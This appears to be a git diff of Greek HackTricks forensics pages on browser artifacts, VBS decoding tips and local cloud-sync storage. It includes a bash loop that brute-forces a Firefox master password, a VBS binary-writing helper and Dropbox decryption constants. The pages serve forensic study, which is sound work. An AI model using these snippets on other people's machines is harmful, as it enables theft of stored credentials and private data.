* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.\
|
||||||
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Αποτυπώματα Περιηγητών <a href="#id-3def" id="id-3def"></a>
|
||||||
|
|
||||||
|
Τα αποτυπώματα του περιηγητή περιλαμβάνουν διάφορους τύπους δεδομένων που αποθηκεύονται από τους περιηγητές ιστού, όπως ιστορικό πλοήγησης, σελιδοδείκτες και δεδομένα cache. Αυτά τα αποτυπώματα αποθηκεύονται σε συγκεκριμένους φακέλους εντός του λειτουργικού συστήματος, διαφέροντας σε τοποθεσία και όνομα ανάμεσα στους περιηγητές, αλλά γενικά αποθηκεύουν παρόμοιους τύπους δεδομένων.
|
||||||
|
|
||||||
|
Εδώ υπάρχει ένα σύνοψη των πιο κοινών αποτυπωμάτων περιηγητών:
|
||||||
|
|
||||||
|
* **Ιστορικό Πλοήγησης**: Καταγράφει τις επισκέψεις του χρήστη σε ιστότοπους, χρήσιμο για την αναγνώριση επισκέψεων σε κακόβουλους ιστότοπους.
|
||||||
|
* **Δεδομένα Αυτόματης Συμπλήρωσης**: Προτάσεις βασισμένες σε συχνές αναζητήσεις, προσφέροντας εισαγωγές όταν συνδυαστούν με το ιστορικό πλοήγησης.
|
||||||
|
* **Σελιδοδείκτες**: Ιστότοποι που έχουν αποθηκευτεί από τον χρήστη για γρήγορη πρόσβαση.
|
||||||
|
* **Επεκτάσεις και Πρόσθετα**: Επεκτάσεις περιηγητή ή πρόσθετα που έχουν εγκατασταθεί από τον χρήστη.
|
||||||
|
* **Cache**: Αποθηκεύει περιεχόμενο ιστού (π.χ. εικόνες, αρχεία JavaScript) για βελτίωση των χρόνων φόρτωσης του ιστότοπου, πολύτιμο για ανάλυση ψηφιακών αποτυπωμάτων.
|
||||||
|
* **Συνδρομές**: Αποθηκευμένα διαπιστευτήρια σύνδεσης.
|
||||||
|
* **Εικονίδια Αγαπημένων**: Εικονίδια που σχετίζονται με ιστότοπους, εμφανίζονται σε καρτέλες και σελιδοδείκτες, χρήσιμα για επιπλέον πληροφορίες σχετικά με τις επισκέψεις του χρήστη.
|
||||||
|
* **Συνεδρίες Περιηγητή**: Δεδομένα που σχετίζονται με ανοιχτές συνεδρίες περιηγητή.
|
||||||
|
* **Λήψεις**: Εγγραφές αρχείων που κατέβηκαν μέσω του περιηγητή.
|
||||||
|
* **Δεδομένα Φόρμας**: Πληροφορίες που εισήχθησαν σε φόρμες ιστού, αποθηκευμένες για μελλοντικές προτάσεις αυτόματης συμπλήρωσης.
|
||||||
|
* **Εικόνες Προεπισκόπησης**: Προεπισκόπηση ιστοτόπων.
|
||||||
|
* **Custom Dictionary.txt**: Λέξεις που προστέθηκαν από τον χρήστη στο λεξικό του περιηγητή.
|
||||||
|
|
||||||
|
## Firefox
|
||||||
|
|
||||||
|
Ο Firefox οργανώνει τα δεδομένα του χρήστη μέσα σε προφίλ, τα οποία αποθηκεύονται σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
|
||||||
|
|
||||||
|
* **Linux**: `~/.mozilla/firefox/`
|
||||||
|
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||||
|
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||||
|
|
||||||
|
Ένα αρχείο `profiles.ini` μέσα σε αυτούς τους καταλόγους καταχωρεί τα προφίλ του χρήστη. Τα δεδομένα κάθε προφίλ αποθηκεύονται σε ένα φάκελο με το όνομα που ορίζεται στη μεταβλητή `Path` μέσα στο `profiles.ini`, το οποίο βρίσκεται στον ίδιο κατάλογο με το `profiles.ini` ίδιο του. Αν ένας φάκελος προφίλ είναι απουσιάζει, μπορεί να έχει διαγραφεί.
|
||||||
|
|
||||||
|
Μέσα σε κάθε φάκελο προφίλ, μπορείτε να βρείτε αρκετά σημαντικά αρχεία:
|
||||||
|
|
||||||
|
* **places.sqlite**: Αποθηκεύει ιστορικό, σελιδοδείκτες και λήψεις. Εργαλεία όπως το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) στα Windows μπορούν να έχουν πρόσβαση στα δεδομένα ιστορικού.
|
||||||
|
* Χρησιμοποιήστε συγκεκριμένες ερωτήσεις SQL για να εξάγετε πληροφορίες ιστορικού και λήψεων.
|
||||||
|
* **bookmarkbackups**: Περιέχει αντίγραφα ασφαλείας των σελιδοδεικτών.
|
||||||
|
* **formhistory.sqlite**: Αποθηκεύει δεδομένα φόρμας ιστού.
|
||||||
|
* **handlers.json**: Διαχειρίζεται τους χειριστές πρωτοκόλλου.
|
||||||
|
* **persdict.dat**: Λέξεις προσαρμοσμένου λεξικού.
|
||||||
|
* **addons.json** και **extensions.sqlite**: Πληροφορίες για εγκατεστημένα πρόσθετα και επεκτάσεις.
|
||||||
|
* **cookies.sqlite**: Αποθήκευση cookie, με το [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) διαθέσιμο για επιθεώρηση στα Windows.
|
||||||
|
* **cache2/entries** ή **startupCache**: Δεδομένα cache, προσβάσιμα μέσω εργαλείων όπως το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html).
|
||||||
|
* **favicons.sqlite**: Αποθηκεύει εικονίδια αγαπημένων.
|
||||||
|
* **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη.
|
||||||
|
* **downloads.sqlite**: Παλαιότερη βάση δεδομένων λήψεων, πλέον ενσωματωμένη στο places.sqlite.
|
||||||
|
* **thumbnails**: Εικόνες προεπισκόπησης ιστοτόπων.
|
||||||
|
* **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης.
|
||||||
|
* **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την προστασία ευαίσθητων πληροφοριών.
|
||||||
|
|
||||||
|
Επιπλέον, η έλεγχος των ρυθμίσεων αντι-φισικών του περιηγητή μπορεί να γίνει αναζητώντας τις καταχωρήσεις `browser.safebrowsing` στο `prefs.js`, που υποδεικνύουν εάν οι λειτουργίες ασφαλούς περιήγησης είναι ενεργοποιημένες ή απενεργοποιημένες.
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
#./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:"
|
||||||
|
passfile=$1
|
||||||
|
while read pass; do
|
||||||
|
echo "Trying $pass"
|
||||||
|
echo "$pass" | python firefox_decrypt.py
|
||||||
|
done < $passfile
|
||||||
|
```
|
||||||
|
## Google Chrome
|
||||||
|
|
||||||
|
Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες βάσει του λειτουργικού συστήματος:
|
||||||
|
|
||||||
|
- **Linux**: `~/.config/google-chrome/`
|
||||||
|
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
|
||||||
|
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
|
||||||
|
|
||||||
|
Μέσα σε αυτούς τους φακέλους, η πλειονότητα των δεδομένων του χρήστη μπορεί να βρεθεί στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα ακόλουθα αρχεία περιέχουν σημαντικά δεδομένα:
|
||||||
|
|
||||||
|
- **History**: Περιέχει διευθύνσεις URL, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για την ανάγνωση του ιστορικού. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ του χρήστη σε συνδέσμους, την πληκτρολόγηση URL, τις υποβολές φόρμας και τις ανανεώσεις σελίδων.
|
||||||
|
- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
|
||||||
|
- **Cache**: Κρατάει τα δεδομένα cache. Για επιθεώρηση, οι χρήστες των Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
|
||||||
|
- **Bookmarks**: Σελιδοδείκτες του χρήστη.
|
||||||
|
- **Web Data**: Περιέχει το ιστορικό φόρμας.
|
||||||
|
- **Favicons**: Αποθηκεύει τα εικονίδια ιστότοπων.
|
||||||
|
- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης.
|
||||||
|
- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες.
|
||||||
|
- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τις ιστοσελίδες που ήταν ενεργές κατά την τελευταία συνεδρία πριν το κλείσιμο του Chrome.
|
||||||
|
- **Extensions**: Κατάλογοι για πρόσθετα και επεκτάσεις περιήγησης.
|
||||||
|
- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων.
|
||||||
|
- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα.
|
||||||
|
- **Ενσωματωμένο αντι-φισικά του προγράμματος περιήγησης**: Για να ελέγξετε αν η προστασία από φισικά και κακόβουλο λογισμικό είναι ενεργοποιημένη, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε το `{"enabled: true,"}` στην έξοδο.
|
||||||
|
|
||||||
|
## **Ανάκτηση Δεδομένων SQLite DB**
|
||||||
|
|
||||||
|
Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν βάσεις δεδομένων **SQLite** για την αποθήκευση των δεδομένων. Είναι δυνατή η **ανάκτηση διαγραμμένων καταχωρήσεων χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
|
||||||
|
|
||||||
|
## **Internet Explorer 11**
|
||||||
|
|
||||||
|
Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, βοηθώντας στον διαχωρισμό των αποθηκευμένων πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση.
|
||||||
|
|
||||||
|
### Αποθήκευση Μεταδεδομένων
|
||||||
|
|
||||||
|
Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (όπου το VX είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να εμφανίσει αντιφάσεις στον χρόνο τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας το `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή containers όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων λεπτομερειών cache για άλλα εργαλεία της Microsoft, όπως το Skype.
|
||||||
|
|
||||||
|
### Επιθεώρηση Cache
|
||||||
|
|
||||||
|
Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν όνομα αρχείου, φάκελο, αριθμό πρόσβασης, προέλευση URL και χρονικά σημεία που υποδεικνύουν τη δημιουργία, πρόσβαση, τροποποίηση και λήξη της cache.
|
||||||
|
|
||||||
|
### Διαχείριση Cookies
|
||||||
|
|
||||||
|
Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με μεταδεδομένα που περιλαμβάνουν ονόματα, διευθύνσεις URL, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με το χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα session cookies να βρίσκονται στη μνήμη.
|
||||||
|
|
||||||
|
### Λεπτομέρειες Λήψης
|
||||||
|
|
||||||
|
Τα μεταδεδομένα λήψης είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα containers που κρατούν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
|
||||||
|
|
||||||
|
### Ιστορικό Περιήγησης
|
||||||
|
|
||||||
|
Για να ελέγξετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη διαμόρφωση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, μαζί με αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
|
||||||
|
|
||||||
|
### Πληκτρολογημένες Διευθύνσεις URL
|
||||||
|
|
||||||
|
Οι πληκτρολογημένες διευθύνσεις URL και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο στο `NTUSER.DAT` στις διευθύνσεις `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 διευθύνσεις URL που εισήχθησαν από τον χρήστη και τους τελευταίους χρόνους εισόδου τους.
|
||||||
|
|
||||||
|
## Microsoft Edge
|
||||||
|
|
||||||
|
Τα δεδομένα του Microsoft Edge αποθηκεύονται στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι:
|
||||||
|
|
||||||
|
- **Διαδρομή Προφίλ**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
|
||||||
|
- **Ιστορικό, Cookies και Λήψεις**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
|
||||||
|
- **Ρυθμίσεις, Σελιδοδείκτες και Λίστα Ανάγνωσης**: `C:\Users\XX\AppData\Local\P
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα κόλπα σας στο χάκινγκ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
|
@ -0,0 +1,82 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
Ορισμένα πράγματα που μπορεί να είναι χρήσιμα για να εντοπίσετε/αποκωδικοποιήσετε ένα κακόβουλο αρχείο VBS:
|
||||||
|
|
||||||
|
## echo
|
||||||
|
```bash
|
||||||
|
Wscript.Echo "Like this?"
|
||||||
|
```
|
||||||
|
## Σχόλια
|
||||||
|
```bash
|
||||||
|
' this is a comment
|
||||||
|
```
|
||||||
|
## Έλεγχος
|
||||||
|
|
||||||
|
Αυτό είναι ένα δοκιμαστικό κείμενο.
|
||||||
|
```bash
|
||||||
|
cscript.exe file.vbs
|
||||||
|
```
|
||||||
|
## Εγγραφή δεδομένων σε ένα αρχείο
|
||||||
|
|
||||||
|
Για να εγγράψετε δεδομένα σε ένα αρχείο, μπορείτε να χρησιμοποιήσετε την ακόλουθη μέθοδο:
|
||||||
|
|
||||||
|
```vbscript
|
||||||
|
Set objFSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
Set objFile = objFSO.CreateTextFile("C:\path\to\file.txt", True)
|
||||||
|
objFile.WriteLine "Αυτό είναι ένα παράδειγμα κειμένου που θα εγγραφεί στο αρχείο."
|
||||||
|
objFile.Close
|
||||||
|
```
|
||||||
|
|
||||||
|
Σε αυτό το παράδειγμα, ο κώδικας χρησιμοποιεί το αντικείμενο `FileSystemObject` για να δημιουργήσει ένα νέο αρχείο κειμένου στη διαδρομή "C:\path\to\file.txt". Το επιλεγμένο αρχείο θα ανοίξει για εγγραφή και θα γράψει το κείμενο "Αυτό είναι ένα παράδειγμα κειμένου που θα εγγραφεί στο αρχείο.". Τέλος, το αρχείο θα κλείσει.
|
||||||
|
|
||||||
|
Μπορείτε να προσαρμόσετε τον κώδικα ανάλογα με την επιθυμητή διαδρομή και το όνομα του αρχείου που θέλετε να δημιουργήσετε και να εγγράψετε τα δεδομένα σας.
|
||||||
|
```js
|
||||||
|
Function writeBinary(strBinary, strPath)
|
||||||
|
|
||||||
|
Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject")
|
||||||
|
|
||||||
|
' below lines purpose: checks that write access is possible!
|
||||||
|
Dim oTxtStream
|
||||||
|
|
||||||
|
On Error Resume Next
|
||||||
|
Set oTxtStream = oFSO.createTextFile(strPath)
|
||||||
|
|
||||||
|
If Err.number <> 0 Then MsgBox(Err.message) : Exit Function
|
||||||
|
On Error GoTo 0
|
||||||
|
|
||||||
|
Set oTxtStream = Nothing
|
||||||
|
' end check of write access
|
||||||
|
|
||||||
|
With oFSO.createTextFile(strPath)
|
||||||
|
.Write(strBinary)
|
||||||
|
.Close
|
||||||
|
End With
|
||||||
|
|
||||||
|
End Function
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,136 @@
|
||||||
|
# Τοπική Αποθήκευση Στο Cloud
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||||
|
Αποκτήστε Πρόσβαση Σήμερα:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## OneDrive
|
||||||
|
|
||||||
|
Στα Windows, μπορείτε να βρείτε το φάκελο του OneDrive στο `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Και μέσα στο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει μερικά ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία:
|
||||||
|
|
||||||
|
* Μέγεθος σε bytes
|
||||||
|
* Ημερομηνία δημιουργίας
|
||||||
|
* Ημερομηνία τροποποίησης
|
||||||
|
* Αριθμός αρχείων στο cloud
|
||||||
|
* Αριθμός αρχείων στον φάκελο
|
||||||
|
* **CID**: Μοναδικό ID του χρήστη του OneDrive
|
||||||
|
* Χρόνος δημιουργίας αναφοράς
|
||||||
|
* Μέγεθος του σκληρού δίσκου του λειτουργικού συστήματος
|
||||||
|
|
||||||
|
Αφού βρείτε το CID συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με τα ονόματα: _**\<CID>.ini**_ και _**\<CID>.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίζονται με το OneDrive.
|
||||||
|
|
||||||
|
## Google Drive
|
||||||
|
|
||||||
|
Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο του Google Drive στο `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||||
|
Αυτός ο φάκελος περιέχει ένα αρχείο με το όνομα Sync\_log.log με πληροφορίες όπως η διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κλπ. Ακόμη, τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5 τους.
|
||||||
|
|
||||||
|
Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων.
|
||||||
|
|
||||||
|
Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινόχρηστων φακέλων και την έκδοση του Google Drive.
|
||||||
|
|
||||||
|
## Dropbox
|
||||||
|
|
||||||
|
Η Dropbox χρησιμοποιεί **SQLite βάσεις δεδομένων** για τη διαχείριση των αρχείων. Σε αυτές\
|
||||||
|
Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους:
|
||||||
|
|
||||||
|
* `\Users\<username>\AppData\Local\Dropbox`
|
||||||
|
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||||
|
* `\Users\<username>\AppData\Roaming\Dropbox`
|
||||||
|
|
||||||
|
Και οι κύριες βάσεις δεδομένων είναι:
|
||||||
|
|
||||||
|
* Sigstore.dbx
|
||||||
|
* Filecache.dbx
|
||||||
|
* Deleted.dbx
|
||||||
|
* Config.dbx
|
||||||
|
|
||||||
|
Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Η Dropbox χρησιμοποιεί το **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||||
|
|
||||||
|
Για να καταλάβετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί η Dropbox μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||||
|
|
||||||
|
Ωστόσο, οι κύριες πληροφορίες είναι:
|
||||||
|
|
||||||
|
* **Εντροπία**: d114a55212655f74bd772e37e64aee9b
|
||||||
|
* **Αλάτι**: 0D638C092E8B82FC452883F95F355B8E
|
||||||
|
* **Αλγόριθμος**: PBKDF2
|
||||||
|
* **Επαναλήψεις**: 1066
|
||||||
|
|
||||||
|
Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε ακόμα:
|
||||||
|
|
||||||
|
